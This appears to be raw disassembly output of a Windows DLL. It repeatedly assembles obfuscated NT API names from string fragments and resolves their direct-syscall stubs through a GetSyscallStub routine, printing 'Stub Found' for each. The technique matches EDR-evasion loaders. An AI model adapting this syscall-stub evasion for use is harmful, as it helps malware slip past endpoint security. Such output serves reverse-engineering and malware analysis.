call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3930]
lea rdx, [rbp + 0x3950]
lea r8, [0x216843e91]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3910]
lea rdx, [rbp + 0x3930]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x38f0]
lea rdx, [rbp + 0x3910]
lea r8, [0x216843ee3]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x38d0]
lea rdx, [rbp + 0x38f0]
lea r8, [0x216843ee5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x38b0]
lea rdx, [rbp + 0x38d0]
lea r8, [0x216843ee7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3890]
lea rdx, [rbp + 0x38b0]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3870]
lea rdx, [rbp + 0x3890]
lea r8, [0x216843e95]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3850]
lea rdx, [rbp + 0x3870]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x3850]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.21663a630
lea rax, [rbp + 0x3850]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3870]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3890]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x38b0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x38d0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x38f0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3910]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3930]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3950]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3970]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3990]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x39b0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x39d0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x39f0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3a10]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3a30]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3a50]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3a70]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3a90]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3ab0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3ad0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3aff]
mov rcx, rax
call fcn.2166025a0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x3b00]
mov rcx, rax
call fcn.216639a40
mov r9, qword [rbp + 0x5938]
mov r8, qword [rbp + 0x5958]
mov rdx, qword [rbp + 0x5930]
lea rax, [rbp + 0x3b00]
mov rcx, qword [rbp + 0x59c8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5a40]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.z.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
mov dword [rbp + 0x592c], eax
lea rax, [rbp + 0x3b00]
mov rcx, rax
call fcn.21663a5f0
cmp dword [rbp + 0x592c], 0
je 0x216595422
lea rbx, [0x216843ea9]
jmp 0x216595429
lea rbx, [0x216843eae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.2165bfd70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.216591370
lea rax, [rbp + 0x3e4f]
mov rcx, rax
call fcn.216602570
lea rdx, [rbp + 0x3e4f]
lea rax, [rbp + 0x3e20]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3e00]
lea rdx, [rbp + 0x3e20]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3de0]
lea rdx, [rbp + 0x3e00]
lea r8, [0x216843ee9]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3dc0]
lea rdx, [rbp + 0x3de0]
lea r8, [0x216843ea1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3da0]
lea rdx, [rbp + 0x3dc0]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3d80]
lea rdx, [rbp + 0x3da0]
lea r8, [0x216843e9f]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3d60]
lea rdx, [rbp + 0x3d80]
lea r8, [0x216843ea7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3d40]
lea rdx, [rbp + 0x3d60]
lea r8, [0x216843eeb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3d20]
lea rdx, [rbp + 0x3d40]
lea r8, [0x216843edf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3d00]
lea rdx, [rbp + 0x3d20]
lea r8, [0x216843eed]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3ce0]
lea rdx, [rbp + 0x3d00]
lea r8, [0x216843e93]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3cc0]
lea rdx, [rbp + 0x3ce0]
lea r8, [0x216843e9f]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3ca0]
lea rdx, [rbp + 0x3cc0]
lea r8, [0x216843ea5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3c80]
lea rdx, [rbp + 0x3ca0]
lea r8, [0x216843e97]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3c60]
lea rdx, [rbp + 0x3c80]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3c40]
lea rdx, [rbp + 0x3c60]
lea r8, [0x216843e9d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3c20]
lea rdx, [rbp + 0x3c40]
lea r8, [0x216843e93]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3c00]
lea rdx, [rbp + 0x3c20]
lea r8, [0x216843edf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3be0]
lea rdx, [rbp + 0x3c00]
lea r8, [0x216843ec9]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3bc0]
lea rdx, [rbp + 0x3be0]
lea r8, [0x216843e9f]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3ba0]
lea rdx, [rbp + 0x3bc0]
lea r8, [0x216843e93]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3b80]
lea rdx, [rbp + 0x3ba0]
lea r8, [0x216843e95]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3b60]
lea rdx, [rbp + 0x3b80]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3b40]
lea rdx, [rbp + 0x3b60]
lea r8, [0x216843ed9]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3b20]
lea rdx, [rbp + 0x3b40]
lea r8, [0x216843ed9]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x3b20]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.21663a630
lea rax, [rbp + 0x3b20]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3b40]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3b60]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3b80]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3ba0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3bc0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3be0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3c00]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3c20]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3c40]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3c60]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3c80]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3ca0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3cc0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3ce0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3d00]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3d20]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3d40]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3d60]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3d80]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3da0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3dc0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3de0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3e00]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3e20]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3e4f]
mov rcx, rax
call fcn.2166025a0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x3e50]
mov rcx, rax
call fcn.216639a40
mov r9, qword [rbp + 0x5938]
mov r8, qword [rbp + 0x5958]
mov rdx, qword [rbp + 0x5930]
lea rax, [rbp + 0x3e50]
mov rcx, qword [rbp + 0x59c0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5a40]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.z.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
mov dword [rbp + 0x592c], eax
lea rax, [rbp + 0x3e50]
mov rcx, rax
call fcn.21663a5f0
cmp dword [rbp + 0x592c], 0
je 0x216595949
lea rbx, [0x216843ea9]
jmp 0x216595950
lea rbx, [0x216843eae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.2165bfd70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.216591370
lea rax, [rbp + 0x40df]
mov rcx, rax
call fcn.216602570
lea rdx, [rbp + 0x40df]
lea rax, [rbp + 0x40b0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x4090]
lea rdx, [rbp + 0x40b0]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4070]
lea rdx, [rbp + 0x4090]
lea r8, [0x216843ed7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4050]
lea rdx, [rbp + 0x4070]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4030]
lea rdx, [rbp + 0x4050]
lea r8, [0x216843e97]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4010]
lea rdx, [rbp + 0x4030]
lea r8, [0x216843ed1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3ff0]
lea rdx, [rbp + 0x4010]
lea r8, [0x216843e9b]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3fd0]
lea rdx, [rbp + 0x3ff0]
lea r8, [0x216843e9d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3fb0]
lea rdx, [rbp + 0x3fd0]
lea r8, [0x216843e9f]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3f90]
lea rdx, [rbp + 0x3fb0]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3f70]
lea rdx, [rbp + 0x3f90]
lea r8, [0x216843ea1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3f50]
lea rdx, [rbp + 0x3f70]
lea r8, [0x216843e97]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3f30]
lea rdx, [rbp + 0x3f50]
lea r8, [0x216843e91]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3f10]
lea rdx, [rbp + 0x3f30]
lea r8, [0x216843ea3]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3ef0]
lea rdx, [rbp + 0x3f10]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3ed0]
lea rdx, [rbp + 0x3ef0]
lea r8, [0x216843ea5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3eb0]
lea rdx, [rbp + 0x3ed0]
lea r8, [0x216843e93]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3e90]
lea rdx, [rbp + 0x3eb0]
lea r8, [0x216843e9f]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x3e70]
lea rdx, [rbp + 0x3e90]
lea r8, [0x216843ea7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x3e70]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.21663a630
lea rax, [rbp + 0x3e70]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3e90]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3eb0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3ed0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3ef0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3f10]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3f30]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3f50]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3f70]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3f90]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3fb0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3fd0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x3ff0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4010]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4030]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4050]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4070]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4090]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x40b0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x40df]
mov rcx, rax
call fcn.2166025a0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x40e0]
mov rcx, rax
call fcn.216639a40
mov r9, qword [rbp + 0x5938]
mov r8, qword [rbp + 0x5958]
mov rdx, qword [rbp + 0x5930]
lea rax, [rbp + 0x40e0]
mov rcx, qword [rbp + 0x59b8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5a40]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.z.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
mov dword [rbp + 0x592c], eax
lea rax, [rbp + 0x40e0]
mov rcx, rax
call fcn.21663a5f0
cmp dword [rbp + 0x592c], 0
je 0x216595d68
lea rbx, [0x216843ea9]
jmp 0x216595d6f
lea rbx, [0x216843eae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.2165bfd70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.216591370
lea rax, [rbp + 0x41ef]
mov rcx, rax
call fcn.216602570
lea rdx, [rbp + 0x41ef]
lea rax, [rbp + 0x41c0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x41a0]
lea rdx, [rbp + 0x41c0]
lea r8, [0x216843e8d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4180]
lea rdx, [rbp + 0x41a0]
lea r8, [0x216843ecb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4160]
lea rdx, [rbp + 0x4180]
lea r8, [0x216843e91]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4140]
lea rdx, [rbp + 0x4160]
lea r8, [0x216843e93]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4120]
lea rdx, [rbp + 0x4140]
lea r8, [0x216843ed9]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x4100]
lea rdx, [rbp + 0x4120]
lea r8, [0x216843e99]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x4100]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.21663a630
lea rax, [rbp + 0x4100]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4120]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4140]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4160]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x4180]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x41a0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x41c0]
mov rcx, rax
call fcn.21663a5f0
lea rax, [rbp + 0x41ef]
mov rcx, rax
call fcn.2166025a0
lea rdx, [rbp + 0x22b0]
lea rax, [rbp + 0x41f0]
mov rcx, rax
call fcn.216639a40
mov r9, qword [rbp + 0x5938]
mov r8, qword [rbp + 0x5958]
mov rdx, qword [rbp + 0x5930]
lea rax, [rbp + 0x41f0]
mov rcx, qword [rbp + 0x59b0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5a40]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.z.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
mov dword [rbp + 0x592c], eax
lea rax, [rbp + 0x41f0]
mov rcx, rax
call fcn.21663a5f0
cmp dword [rbp + 0x592c], 0
je 0x216595f77
lea rbx, [0x216843ea9]
jmp 0x216595f7e
lea rbx, [0x216843eae]
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.2165bfd70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.216591370
lea rax, [rbp + 0x43bf]
mov rcx, rax
call fcn.216602570
lea rdx, [rbp + 0x43bf]
lea rax, [rbp + 0x4390]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
